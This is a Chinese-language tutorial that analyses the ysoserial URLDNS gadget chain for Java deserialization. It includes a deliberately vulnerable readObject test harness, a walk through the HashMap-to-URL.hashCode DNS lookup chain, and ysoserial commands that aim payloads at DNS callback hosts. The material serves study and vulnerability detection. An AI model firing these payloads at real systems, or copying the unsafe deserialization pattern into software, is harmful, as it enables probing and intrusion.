Java反序列化-URLDNS

Java反序列化-URLDNS

ysoserial项目地址:ysoserial

导入到idea即可

Payload生成工具:java -jar ysoserial-[version]-all.jar [payload] '[command]'


测试靶场

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Poc {
public static void main(String[] args) throws IOException,ClassNotFoundException {
String base64_exp = "BASE64_STRING";
byte[] exp = Base64.getDecoder().decode(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
}
}

URLDNS

java -jar ysoserial-[version]-all.jar URLDNS 'http://xxx.burpcollaborator.net'

Gadget Chain

通过HashMap触发DNS查询。

HashMap.readObject()` → `HashMap.putVal()` → `HashMap.hash()` → `URL.hashCode()

调试方法


回溯分析

此处getHostAddress是解析域名,而想要调用这个方法,需要调用URLStreamHandler.hashCode,使得u可以传入getHostAddress进行域名解析

我们通过查看谁调用了URLStreamHandler.hashCode,右键Find Usages,可以看到URL调用了URLStreamHandler.hashCode

URL类下,handler.hashCode函数传入了this,也就是说我们需要URL类来调用hashCode

hashCode属性默认是-1。这段代码的意思就是,当第一次调用hashCode方法的时候,hashCode为-1,不会进入if判断。当第二次或以后调用hashCode方法的时候,就会进入if判断了,直接返回hashCode属性。所以我们就可以通过反射来修改hashCode

我们可以看到handler是URL的URLStreamHandler

由transient修饰的属性无法被序列化和反序列化, 那么为什么还是成功解析URL呢?

这就需要看到URL类的readResolve方法,这个方法在反序列化的时候执行。这个方法先通过getURLStreamHandler获取到一个URLStreamHandler,再通过setDeserializedFields把URL类的handler属性设置为URLStreamHandler对象,这样反序列化出来的HashMap中的URL类的handler属性就不会为空了


我们继续回溯hashCode,看下类可控,并且调用hashCode()

可以看到HashMap调用到了key.hashCode()

我们来看下key调用了hashCode,满足我们的要求,我们只要key为URL类即可

继续往下回溯,看谁调用了hash,并且是readObject调用

可以看到这个是读取key和value的值映射放入HashMap,所以说我们只要将键值put到HashMap即可


靶场演练

使用ysoserial生成payload

java -jar ysoserial-0.0.8-SNAPSHOT-all.jar URLDNS http://fn4zvn.dnslog.cn|base64

上一篇

Java反序列化-Commons Collections1利用链分析